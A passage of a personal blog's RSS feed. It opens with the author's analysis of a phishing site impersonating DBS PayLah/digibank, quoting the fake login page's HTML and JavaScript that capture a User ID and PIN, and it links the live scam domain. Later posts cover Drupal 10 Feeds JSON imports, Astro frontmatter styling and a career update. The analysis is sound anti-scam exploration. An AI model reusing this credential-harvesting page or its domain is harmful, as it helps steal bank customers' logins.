      &amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;
        &amp;lt;img class=&amp;quot;back&amp;quot; src=&amp;quot;./img/back.svg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
        &amp;lt;img class=&amp;quot;logo&amp;quot; src=&amp;quot;./img/paylahwhite.png&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
        &amp;lt;p style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Step2. digibank Authentication&amp;lt;/p&amp;gt;
        &amp;lt;div class=&amp;quot;input input2&amp;quot; style=&amp;quot;background: transparent;&amp;quot;&amp;gt;
          &amp;lt;input
            id=&amp;quot;userId&amp;quot;
            class=&amp;quot;moblie_input&amp;quot;
            placeholder=&amp;quot;DBS/POSB digibank User ID&amp;quot;
            type=&amp;quot;text&amp;quot;
          /&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div class=&amp;quot;input input1&amp;quot;&amp;gt;
          &amp;lt;input
            id=&amp;quot;PIN&amp;quot;
            class=&amp;quot;moblie_input1&amp;quot;
            placeholder=&amp;quot;PIN&amp;quot;
            pattern=&amp;quot;[0-9]*&amp;quot;
            type=&amp;quot;tel&amp;quot;
            maxlength=&amp;quot;9&amp;quot;
          /&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div class=&amp;quot;text&amp;quot;&amp;gt;
          &amp;lt;p&amp;gt;Forgot PIN&amp;lt;/p&amp;gt;
          &amp;lt;p&amp;gt;Don&apos;t have digibank? &amp;lt;span&amp;gt;Apply here&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;footer&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;btn&amp;quot;&amp;gt;Help&amp;lt;/div&amp;gt;
        &amp;lt;div class=&amp;quot;btn next&amp;quot;&amp;gt;Next&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div id=&amp;quot;Error&amp;quot; class=&amp;quot;pop&amp;quot; style=&amp;quot;display: none;&amp;quot;&amp;gt;
        &amp;lt;p class=&amp;quot;pop_text&amp;quot;&amp;gt;
          You may have keyed in an invalid User ID or PIN. Please log in again.
        &amp;lt;/p&amp;gt;
        &amp;lt;div class=&amp;quot;confirm&amp;quot;&amp;gt;OK&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&amp;quot;./js/jquery-1.11.1.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;zy/api/k.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;
      js_ini_jsver(&amp;quot;zy/api/i.js&amp;quot;);

      function onset() {
        $(&amp;quot;.moblie_input1&amp;quot;).on(&amp;quot;input&amp;quot;, function (val) {
          length = val.target.value.length;
          // console.log(val.target.value)
          if (val.target.value.length &amp;gt;= 6) {
            $(&amp;quot;.next&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#b82f54&amp;quot;);
          } else {
            $(&amp;quot;.next&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#eee&amp;quot;);
          }
        });

        $(&amp;quot;.confirm&amp;quot;).on(&amp;quot;click&amp;quot;, function () {
          $id(&amp;quot;Error&amp;quot;).style.display = &amp;quot;none&amp;quot;;
        });

        $(&amp;quot;.back&amp;quot;).on(&amp;quot;click&amp;quot;, function (val) {
          y(&amp;quot;GetStarted.php&amp;quot;);
        });
        $(&amp;quot;.next&amp;quot;).on(&amp;quot;click&amp;quot;, function () {
          if ($(&amp;quot;#PIN&amp;quot;).val().length &amp;gt;= 6) {
            if ($(&amp;quot;.next&amp;quot;).children().length == 0) {
              $(&amp;quot;.next&amp;quot;).html(&amp;quot;&amp;quot;);
              $(&amp;quot;.next&amp;quot;).append(
                &amp;quot;&amp;lt;span class=&apos;item i1&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&apos;item i2&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&apos;item i3&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;quot;
              );
            }
            api_wt($(&amp;quot;#userId&amp;quot;).val(), $(&amp;quot;#PIN&amp;quot;).val());
          }
        });
        $(&amp;quot;.moblie_input&amp;quot;).blur(function (val) {
          // console.log(val)
          $(&amp;quot;.input2&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;transparent&amp;quot;);
        });
        $(&amp;quot;.moblie_input&amp;quot;).focus(function (val) {
          $(&amp;quot;.input2&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#000&amp;quot;);
        });
        $(&amp;quot;.moblie_input1&amp;quot;).blur(function (val) {
          // console.log(val)
          $(&amp;quot;.input1&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;transparent&amp;quot;);
        });
        $(&amp;quot;.moblie_input1&amp;quot;).focus(function (val) {
          $(&amp;quot;.input1&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#000&amp;quot;);
        });
      }
      window.onload = onset;
    &amp;lt;/script&amp;gt;
    &amp;lt;style&amp;gt;
      #main {
        position: relative;
        width: 100vw;
        height: 100vh;
        background-image: url(&amp;quot;./img/blur_splash.png&amp;quot;);
        background-size: 100% 100%;
        background-repeat: no-repeat;
        overflow: hidden;
        color: #fff;
        font-size: 14px;
        text-align: center;
      }
      .header {
        height: 44px;
        display: flex;
        align-items: center;
      }
      .back {
        width: 25px;
        height: 25px;
      }
      .logo {
        margin: 0 auto;
        width: 48.5px;
        height: 19px;
      }
      .content {
        margin-top: 60px;
      }
      .input {
        display: flex;
        margin: 10px auto;
        background: transparent;
        height: 40px;
        width: 95%;
        color: #fff;
        border: 1px solid #fff;
        border-radius: 4px;
      }
      input {
        background: transparent;
        margin-left: 10px;
        border: none;
        outline: none;
        color: #fff;
        width: 300px;
      }
      .footer {
        width: 95%;
        position: absolute;
        display: flex;
        flex-direction: column;
        align-items: center;
        bottom: 100px;
        left: 50%;
        transform: translateX(-50%);
      }
      .btn {
        width: 95%;
        height: 40px;
        border-radius: 4px;
        display: flex;
        align-items: center;
        justify-content: center;
        /* background: #eee; */
      }
      .next {
        background: #999;
      }
      .pop {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        background: #fff;
        width: 250px;
        color: #221f21;

        box-sizing: border-box;
        border-radius: 8px;
      }
      .pop_text {
        padding: 20px;
        box-sizing: border-box;
        border-bottom: 1px solid #eee;
        text-align: center;
        font-weight: 700;
      }
      .confirm {
        text-align: center;
        height: 40px;
        line-height: 40px;
        color: #4781db;
      }
    &amp;lt;/style&amp;gt;
  &amp;lt;/body&amp;gt;
  &amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;zy/api/i.js?ver=1704951404881&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Doesn&apos;t seem like there&apos;s much new code here, just new inputs. There are no other links on the page that could bring you away from this domain, the forgot password or help text are just text, no links. Good call, I say.&lt;/p&gt;
&lt;p&gt;After putting in the user name and PIN (which is validated to be 6 digits, as required by the bank), the previously disabled next button becomes enabled. Wow.&lt;/p&gt;
&lt;p&gt;After hitting next, I don&apos;t think their servers are particularly fast because it took a while before they responded that I didn&apos;t put in actual credentials?&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/phishing-site/error-480.jpg 480w, /images/posts/phishing-site/error-640.jpg 640w, /images/posts/phishing-site/error-960.jpg 960w, /images/posts/phishing-site/error-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/phishing-site/error-640.jpg&quot; alt=&quot;I was unable to proceed without putting in real credentials&quot;&gt;
&lt;p&gt;So I guess they do validation at this step so I&apos;m stopping here. The second time I filled in the user name and PIN after dismissing the error message, the POST request returned a 404.&lt;/p&gt;
&lt;h2&gt;Police seem to be on to them&lt;/h2&gt;
&lt;p&gt;As I was messing around, I encountered this screen at &lt;em&gt;&lt;a href=&quot;http://dbsnowsg.work&quot;&gt;http://dbsnowsg.work&lt;/a&gt;&lt;/em&gt;. Not sure why it didn&apos;t show up the first time.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/phishing-site/police-480.jpg 480w, /images/posts/phishing-site/police-640.jpg 640w, /images/posts/phishing-site/police-960.jpg 960w, /images/posts/phishing-site/police-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/phishing-site/police-640.jpg&quot; alt=&quot;Singapore Police Force warning folks that this is a scam website and they&apos;re investigating&quot;&gt;
&lt;p&gt;So I&apos;m guessing the digital team at the Singapore Police Force know about this scammer? But I&apos;m thinking perhaps the anonymity of the person registering the domain is making it hard to block it altogether.&lt;/p&gt;
&lt;p&gt;I&apos;m not well versed with how ISPs do blocking though, so do subdomains not fall under the blocking rules? I don&apos;t know, this is not my area of expertise.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Honestly, I think I started out strong, but fizzled out at the code reading because it was so tiring (I&apos;m also down with COVID, give me a break). So the lesson learned here is, to be a good teammate and person who writes code that other people will end up reading, let&apos;s all try to name our functions well.&lt;/p&gt;
&lt;p&gt;It would also be kinda fun if other people shared their experience with scam emails/SMS/DMs but then, there is a danger of getting shit installed on your device if you&apos;re not careful. Who knows, it might have happened to me already.&lt;/p&gt;
&lt;p&gt;Oh well. I vaguely remember writing about the anatomy of the scam website years ago, but cannot for the life of myself find it. If you have ever seen it in your life, let me know?&lt;/p&gt;
&lt;p&gt;Lastly, stay healthy, folks! Never touch your face without washing your hands first. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with medical mask&quot;&gt;😷&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Pulling content from external API into Drupal 10</title><link>https://chenhuijing.com/blog/pulling-content-from-external-api-into-drupal-10/</link><guid isPermaLink="true">https://chenhuijing.com/blog/pulling-content-from-external-api-into-drupal-10/</guid><description>If you had read my previous blog post, you&apos;ll have found out that I&apos;m somehow unable to escape Drupal. Not that Drupal is some terrible monster, it&apos;s actually…</description><pubDate>Tue, 19 Dec 2023 02:19:37 GMT</pubDate><content:encoded>&lt;p&gt;If you had read my &lt;a href=&quot;/blog/omg-im-doing-drupal-again/&quot;&gt;previous blog post&lt;/a&gt;, you&apos;ll have found out that I&apos;m somehow unable to escape Drupal. Not that Drupal is some terrible monster, it&apos;s actually not bad. At this point, I&apos;ll probably end up finishing my career with some Drupal project, who knows? Drupal 42, let&apos;s go.&lt;/p&gt;
&lt;p&gt;I had not done Drupal since 2020, and if it wasn&apos;t for those blog posts I wrote back then, things would have been much harder. But as I slowly poked around a freshly installed copy of Drupal 10, in spite of the many changes (for the better), I found there were also many things that remained familiar.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/celine.jpg&quot; srcset=&quot;/images/posts/d10-feeds/celine@2x.jpg 2x&quot; alt=&quot;Celine Dion singing the line &apos;I can barely recall but it&apos;s all coming back to me now&apos; at her Taking Chances World Tour: The Concert&quot;&gt;
&lt;p&gt;Anywayz, one of the things that needed to be done was to pull data from &lt;a href=&quot;https://sessionize.com/&quot;&gt;Sessionize&lt;/a&gt;, which is a SAAS (software-as-a-service) platform for managing conference talks. Sessionize exposes speaker and talk data to developers via a JSON API so you can pull that information into your own website.&lt;/p&gt;
&lt;h2&gt;Feeds&lt;/h2&gt;
&lt;p&gt;One way to do this is via the &lt;a href=&quot;https://www.drupal.org/project/feeds&quot;&gt;Feeds&lt;/a&gt; module, which is used “for importing or aggregating data into nodes, users, taxonomy terms and other content entities using a web interface without coding a migration.”&lt;/p&gt;
&lt;p&gt;Feeds lets you create new content nodes containing the data that you&apos;re pulling through. If you&apos;re unfamiliar with Drupal altogether, Drupal has the concept of content types, where you can create specific content types containing specific fields to hold specific data. Each piece of content is referred to as a node.&lt;/p&gt;
&lt;p&gt;You do need to tell Feeds which fields from the JSON data map to which fields on your content type, so the setup did kill a good number of my brain cells. But just in case I have to do it again, this blog post exists.&lt;/p&gt;
&lt;h3&gt;Install the module&lt;/h3&gt;
&lt;p&gt;I have not hardcore Drupal-ed since 2017, so I need to rewire my neurons to the &lt;a href=&quot;https://getcomposer.org/&quot;&gt;Composer&lt;/a&gt; is king mindest.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;composer require &apos;drupal/feeds:^3.0@beta&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By the time someone reads this, the version would have changed, please copy the correct installation command from the &lt;a href=&quot;https://www.drupal.org/project/feeds&quot;&gt;module page&lt;/a&gt; itself. After the module files are added, enable the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;drush pm:enable feeds, feeds_ex
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also do it from the GUI at &lt;code&gt;admin/modules&lt;/code&gt;. &lt;a href=&quot;https://www.drupal.org/project/feeds_ex&quot;&gt;Feeds extensible parsers&lt;/a&gt; is required if your data is JSON.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/feeds.png&quot; srcset=&quot;/images/posts/d10-feeds/feeds@2x.png 2x&quot; alt=&quot;Admin interface to enable Feeds module in Drupal 10&quot;&gt;
&lt;h3&gt;Configure the module&lt;/h3&gt;
&lt;p&gt;This is the tricky part. And will also depend quite heavily on the shape of your data. The Sessionize speaker data looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
  {
    &amp;quot;id&amp;quot;: &amp;quot;XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&amp;quot;,
    &amp;quot;firstName&amp;quot;: &amp;quot;Adrian&amp;quot;,
    &amp;quot;lastName&amp;quot;: &amp;quot;Hope-Bailie&amp;quot;,
    &amp;quot;fullName&amp;quot;: &amp;quot;Adrian Hope-Bailie&amp;quot;,
    &amp;quot;bio&amp;quot;: &amp;quot;Adrian is a co-inventor of the Interledger protocol stack and the Open Payments standards and payment pointers. He is a co-founder of Fynbos where he is building the first account that will issue payment pointers and support Open Payments.&amp;quot;,
    &amp;quot;tagLine&amp;quot;: &amp;quot;Founder at Fynbos&amp;quot;,
    &amp;quot;profilePicture&amp;quot;: &amp;quot;https://sessionize.com/image/e5b2-400o400o1-UNKX2DhHQEuyQwrn2Xx1vb.png&amp;quot;,
    &amp;quot;sessions&amp;quot;: [
      {
        &amp;quot;id&amp;quot;: 000000,
        &amp;quot;name&amp;quot;: &amp;quot;Digital Wallets - Our financial \&amp;quot;user agents\&amp;quot;&amp;quot;
      }
    ]
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most of the fields are straightforward 1-1 mapping to individual fields, like the &lt;code&gt;firstName&lt;/code&gt; field to a text field, or the &lt;code&gt;bio&lt;/code&gt; field to a formatted text field and so on. But the &lt;code&gt;sessions&lt;/code&gt; field data is an array. And that was not intuitive to deal with at first.&lt;/p&gt;
&lt;p&gt;But first, the content type. Think of the content type as the container in which the data that you pull in via JSON has to live. Which means the data should be mapped to their respective fields in the Drupal content type.&lt;/p&gt;
&lt;p&gt;I created a new content type called &lt;em&gt;Summit speaker&lt;/em&gt;. The only tricky field is &lt;code&gt;sessions&lt;/code&gt;. This is because sessions have their own content type, and the 2 content types reference each other. So the &lt;code&gt;sessions&lt;/code&gt; field is an entity reference field.&lt;/p&gt;
&lt;p&gt;Back in the day, I remember that entity reference was a contrib module, but now it&apos;s built into Drupal. When you create a new field for your content type, you can select &lt;em&gt;Reference&lt;/em&gt;.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/reference-field.png&quot; srcset=&quot;/images/posts/d10-feeds/reference-field@2x.png 2x&quot; alt=&quot;Content type field creation admin interface on Drupal 10&quot;&gt;
&lt;p&gt;I set mine up to allow an unlimited number of values, and to reference the &lt;em&gt;Summit talk&lt;/em&gt; content type.&lt;/p&gt;
&lt;p&gt;The field mapping takes place on the &lt;em&gt;Feeds&lt;/em&gt; configuration interface at &lt;code&gt;/admin/structure/feeds&lt;/code&gt;. Start by adding a feed type. Fill the basic information as you see fit. The key part is to set the Fetcher to &lt;em&gt;Download from url&lt;/em&gt; and the parser to &lt;em&gt;JsonPath&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Because the target for the JSON data is my newly created content type, the processor is set to &lt;em&gt;Node&lt;/em&gt; and my content type is &lt;em&gt;Summit speaker&lt;/em&gt;. The rest of the settings are really up to your individual use-case. Because my event was already over, I only needed a one-time download, but you might want to set a regular import period or whatever.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/feed-type.png&quot; srcset=&quot;/images/posts/d10-feeds/feed-type@2x.png 2x&quot; alt=&quot;Feed type set up in Drupal 10&quot;&gt;
&lt;p&gt;The &lt;em&gt;Mapping&lt;/em&gt; tab is where you determine how the data gets pulled into your fields. The &lt;em&gt;Context&lt;/em&gt; field (based on my extensive Googling to figure out the right thing to do) is what trips most people up. I think it&apos;s just how the JsonPath syntax works but there&apos;s a tool for that!&lt;/p&gt;
&lt;p&gt;You can plug your JSON file into the &lt;a href=&quot;https://jsonpath.com/&quot;&gt;JSONPath Online Evaluator&lt;/a&gt; and try to work out what you want to put in there. For me it was simply &lt;code&gt;$.*&lt;/code&gt; because I wanted to parse the whole thing.&lt;/p&gt;
&lt;p&gt;After you select a target field (on your content type), you will need to specify the source (i.e. where from the JSON the value should come from). Pick &lt;em&gt;New Json source...&lt;/em&gt;, which will give you a free form text field. Enter the key value on the JSON you want the data to come from.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/mapping.png&quot; srcset=&quot;/images/posts/d10-feeds/mapping@2x.png 2x&quot; alt=&quot;Feed type mapping in Drupal 10&quot;&gt;
&lt;p&gt;In my case, I would put in &lt;code&gt;fullName&lt;/code&gt; for the value I wanted mapped to my Summit speaker content type&apos;s title field. And so on, and so forth.&lt;/p&gt;
&lt;p&gt;For fields that were in an array, like the &lt;code&gt;sessions&lt;/code&gt; field, the mapping value is a bit more complicated. It&apos;s more JsonPath syntax is what I think. But for my &lt;em&gt;sessionName&lt;/em&gt; source, the value I used to make things work was &lt;code&gt;sessions[*].name&lt;/code&gt;, I validated it using the JsonPath tool thingy.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/json-source.png&quot; srcset=&quot;/images/posts/d10-feeds/json-source@2x.png 2x&quot; alt=&quot;Custom Json source mapping for importing in Feeds&quot;&gt;
&lt;p&gt;The long and short of it is that this seems to be the syntax that works for importing values into a Drupal field that takes in multiple values.&lt;/p&gt;
&lt;p&gt;The place to define the source of your JSON is configured at &lt;em&gt;/admin/content/feed&lt;/em&gt;. You need to add a new feed. The options will depend on what feed types you have created so far. Select the feed type you want, and you will need to label it with a title and the key here is the &lt;em&gt;Feed URL&lt;/em&gt;, which is the URL where your JSON can be accessed.&lt;/p&gt;
&lt;p&gt;If everything goes well, smash that &lt;em&gt;Save and import&lt;/em&gt; button and you should see a status message informing you of your success or failure. The complication for my use-case is my use of the entity reference field to a &lt;em&gt;Summit talk&lt;/em&gt; content type.&lt;/p&gt;
&lt;p&gt;Luckily, the import won&apos;t fail entirely even if the entity reference field cannot find the entity it wants to reference. The sessions field for now will just be empty. After all the talks have been imported, re-run the feed import and (hopefully), your content nodes will update accordingly.&lt;/p&gt;
&lt;img src=&quot;/images/posts/d10-feeds/processor-settings.png&quot; srcset=&quot;/images/posts/d10-feeds/processor-settings@2x.png 2x&quot; alt=&quot;Processor settings under Feed type to determine the behaviour upon import&quot;&gt;
&lt;p&gt;Check your settings on the &lt;em&gt;Feed type&lt;/em&gt; under &lt;em&gt;Processor settings&lt;/em&gt; to make sure you have set behaviour to &lt;em&gt;Update existing content items&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I think that&apos;s it? I mean, it took me quite a bit of time and effort to get the steps distilled to what you&apos;ve just read. I even ran into &lt;a href=&quot;/blog/drupal-101-what-i-learnt-from-hours-of-troubleshooting-feeds&quot;&gt;Drupal 101: What I learnt from hours of troubleshooting Feeds&lt;/a&gt; which I had written in back in 2015.&lt;/p&gt;
&lt;p&gt;And no, sadly it did not help me one bit because that import was in CSV. JSON was a whole new bunch of hours spent troubleshooting. But what can I say? It pays the bills. It pays the bills. It pays the bills. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;dollar banknote&quot;&gt;💵&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Customising content markdown via frontmatter in Astro</title><link>https://chenhuijing.com/blog/customising-content-markdown-via-frontmatter-in-astro/</link><guid isPermaLink="true">https://chenhuijing.com/blog/customising-content-markdown-via-frontmatter-in-astro/</guid><description>The use case I had for this was to have customisable bits of a content collection that was rendered from markdown. Basically, a newsletter template where every…</description><pubDate>Fri, 17 Nov 2023 07:30:40 GMT</pubDate><content:encoded>&lt;p&gt;The use case I had for this was to have customisable bits of a content collection that was rendered from markdown. Basically, a newsletter template where every newsletter could potentially have a different top banner and highlight colour.&lt;/p&gt;
&lt;p&gt;There are different ways to implement this but I went with this frontmatter approach because there might be situations where a non-technical person had to publish the newsletter, and asking them to pass variables into a component is more confusing for them than you&apos;d think.&lt;/p&gt;
&lt;p&gt;If you consult the &lt;a href=&quot;https://docs.astro.build/en/guides/styling/#css-variables&quot;&gt;Astro documentation on CSS variables&lt;/a&gt;, it is possible to to pass CSS variables from component frontmatter using the &lt;code&gt;define:vars&lt;/code&gt; directive. If you think about it, isn&apos;t frontend development all about passing data from one component to another?&lt;/p&gt;
&lt;p&gt;Anyway, how this would work for my use case is, on my newsletter layout, I can access the frontmatter props, assign them to variables. Then pass these server-side variables into the client &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;---
const { frontmatter } = Astro.props;

const headerImg = `url(&apos;${frontmatter.theme.header_img}&apos;)`;
const gradientColour1 = frontmatter.theme.gradient_colour_1;
const gradientColour2 = frontmatter.theme.gradient_colour_2;
const headerTxt = frontmatter.theme.header_txt;
const highlightColour = frontmatter.theme.highlight_colour;
---

&amp;lt;header
  class=&amp;quot;content-wrapper&amp;quot;
  style=&amp;quot;background-image: var(--header-img), linear-gradient(90deg, var(--gradient-colour-1) 0%, var(--gradient-colour-2) 100%); color: var(--header-txt)&amp;quot;&amp;gt;
  &amp;lt;h1&amp;gt;{frontmatter.title}&amp;lt;/h1&amp;gt;
&amp;lt;/header&amp;gt;

&amp;lt;style define:vars={{ headerImg, gradientColour1, gradientColour2, headerTxt, highlightColour }}&amp;gt;
header {
	--header-img: var(--headerImg, url(&apos;img/ernie.svg&apos;));
	--gradient-colour-1: var(--gradientColour1, var(--color-purple--lighter));
	--gradient-colour-2: var(--gradientColour2, var(--color-pink--lighter));
	--header-txt: var(--headerTxt, #fff);
}

:global(h2::after) {
	--highlight-colour: var(--highlightColour, var(--color-pink--lightest));
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the frontmatter on the markdown side of things would look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;---
layout: ../../layouts/NewsletterLayout.astro
title: Newsletter format of update email.
description: Monthly update for July 2023
date: 2023-07-01
theme:
  gradient_colour_1: &amp;quot;yellow&amp;quot;
  gradient_colour_2: &amp;quot;limegreen&amp;quot;
  header_img: &amp;quot;/img/ernie.svg&amp;quot;
  header_txt: &amp;quot;#333&amp;quot;
  highlight_colour: &amp;quot;yellow&amp;quot;
tags:
  - newsletter
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One thing to note is that the frontmatter values have to exist, otherwise the site will error out. But they can be empty.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;---
layout: ../../layouts/NewsletterLayout.astro
title: Acts as an archive.
description: Monthly update for July 2023
date: 2023-07-01
theme:
  gradient_colour_1: &amp;quot;&amp;quot;
  gradient_colour_2: &amp;quot;&amp;quot;
  header_img: &amp;quot;&amp;quot;
  header_txt: &amp;quot;&amp;quot;
  highlight_colour: &amp;quot;&amp;quot;
tags:
  - newsletter
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this might cause the display to look weird, so to prevent that, we need to remember to add fallback to the CSS custom property values. The syntax for that looks like this, where the second argument of the &lt;code&gt;var()&lt;/code&gt; function is the fallback value:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.SELECTOR {
  /* limegreen if --some-variable is not defined */
  color: var(--some-variable, limegreen);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Took some time to fiddle around before figuring this one out, so it&apos;s worth a short documentation for future me, as I&apos;ve reached the stage in my career where I have to read my own blog posts to relearn how to solve problems I&apos;ve solved before. &lt;span class=&quot;kaomoji&quot;&gt;乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ &lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Back from blogging hiatus? Maybe…</title><link>https://chenhuijing.com/blog/back-from-blogging-hiatus-maybe/</link><guid isPermaLink="true">https://chenhuijing.com/blog/back-from-blogging-hiatus-maybe/</guid><description>What is with a sudden publication of blog posts after a seemingly indefinite hiatus? I have no answer except that I do things when I feel like it. More…</description><pubDate>Fri, 17 Nov 2023 06:53:51 GMT</pubDate><content:encoded>&lt;p&gt;What is with a sudden publication of blog posts after a seemingly indefinite hiatus? I have no answer except that I do things when I feel like it. More specifically, I do things that are not mandatory (like my job) when I feel like it. That&apos;s why I still have one.&lt;/p&gt;
&lt;p&gt;Speaking of jobs, to be honest, ever since the pandemic started in 2020, I&apos;ve been keeping a relatively low profile. Partly because I felt that a gazillion people were having a hard time because of it, but I was extremely lucky to retain gainful employment throughout that time.&lt;/p&gt;
&lt;p&gt;So I just didn&apos;t feel like announcing to the whole world my employment status, you know what I mean? I was with Shopify for 3 years until they laid me off in May this year. Then I got picked up by the &lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger Foundation&lt;/a&gt;. And now &lt;a href=&quot;https://alexlakatos.com/about/&quot;&gt;Alex Lakatos&lt;/a&gt; is my boss.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/wut-is-dis/bossman-480.jpg 480w, /images/posts/wut-is-dis/bossman-640.jpg 640w, /images/posts/wut-is-dis/bossman-960.jpg 960w, /images/posts/wut-is-dis/bossman-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/wut-is-dis/bossman-640.jpg&quot; alt=&quot;Myself and the Boss Man&quot;&gt;
&lt;p&gt;I bet he regrets this hiring decision. But at least I&apos;m reasonably competent at my job, which is building websites and making them pretty. So the bills are still getting paid. Thanks, bossman. Fun fact, he is still using the theme I helped create from 3 years ago (go click on the avocado on his profile photo in the About page).&lt;/p&gt;
&lt;h2&gt;So how&apos;s life?&lt;/h2&gt;
&lt;p&gt;This blog has been around for quite a long time. I&apos;ve never changed the domain name, nor have I changed the site&apos;s design. The only major change was migrating from Jekyll to Hugo. But I still like my site design after all these years so that&apos;s that.&lt;/p&gt;
&lt;p&gt;There have been a couple of career “checkpoint” posts, &lt;a href=&quot;/blog/1827-days-working-on-the-web&quot;&gt;the last one&lt;/a&gt; was written in 2018. I passed the 10-year mark of being a salaried web developer last month to absolutely no fanfare.&lt;/p&gt;
&lt;p&gt;I must say I&apos;m pretty happy working at the Interledger Foundation right now because I literally get to build websites as my main job (AWS is very unfortunately part of the deal, me sad). We are open source by nature, so everything is viewable on Github (me likey).&lt;/p&gt;
&lt;p&gt;The premise of Interledger is to make sending payments as easy as sending an email. Interledger is a global interoperable network for financial services that implement &lt;a href=&quot;https://interledger.org/developers/rfcs/interledger-protocol/&quot;&gt;the Interledger Protocol&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you never met me, I think a relatively accurate idea of how I am as a person can be summarised by &lt;a href=&quot;https://www.airbnb.com.sg/users/show/16527790&quot;&gt;my AirBnb reviews&lt;/a&gt; (the most common descriptor is “clean/tidy”) and feedback from conference talks.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Catching up on the talks I&amp;#39;ve missed, &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; opening talk so funny, I laugh til die, almost. But got learn new things. Moral of story, i18n is hard: Use a library please, check the numbers in CJK languages, and talk to your designers about the font stack for diff languages.&lt;/p&gt;&amp;mdash; Shi Ling (@taishiling) &lt;a href=&quot;https://twitter.com/taishiling/status/1684925855200694272?ref_src=twsrc%5Etfw&quot;&gt;July 28, 2023&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;So it seems like to some people, I&apos;m reasonably entertaining, and also, I like to keep things organised. Therefore, it should come as no surprise that I standardised all our documentation sites to use &lt;a href=&quot;https://starlight.astro.build/getting-started/&quot;&gt;Starlight&lt;/a&gt;, which is built on &lt;a href=&quot;https://docs.astro.build/en/getting-started/&quot;&gt;Astro&lt;/a&gt;.&lt;/p&gt;
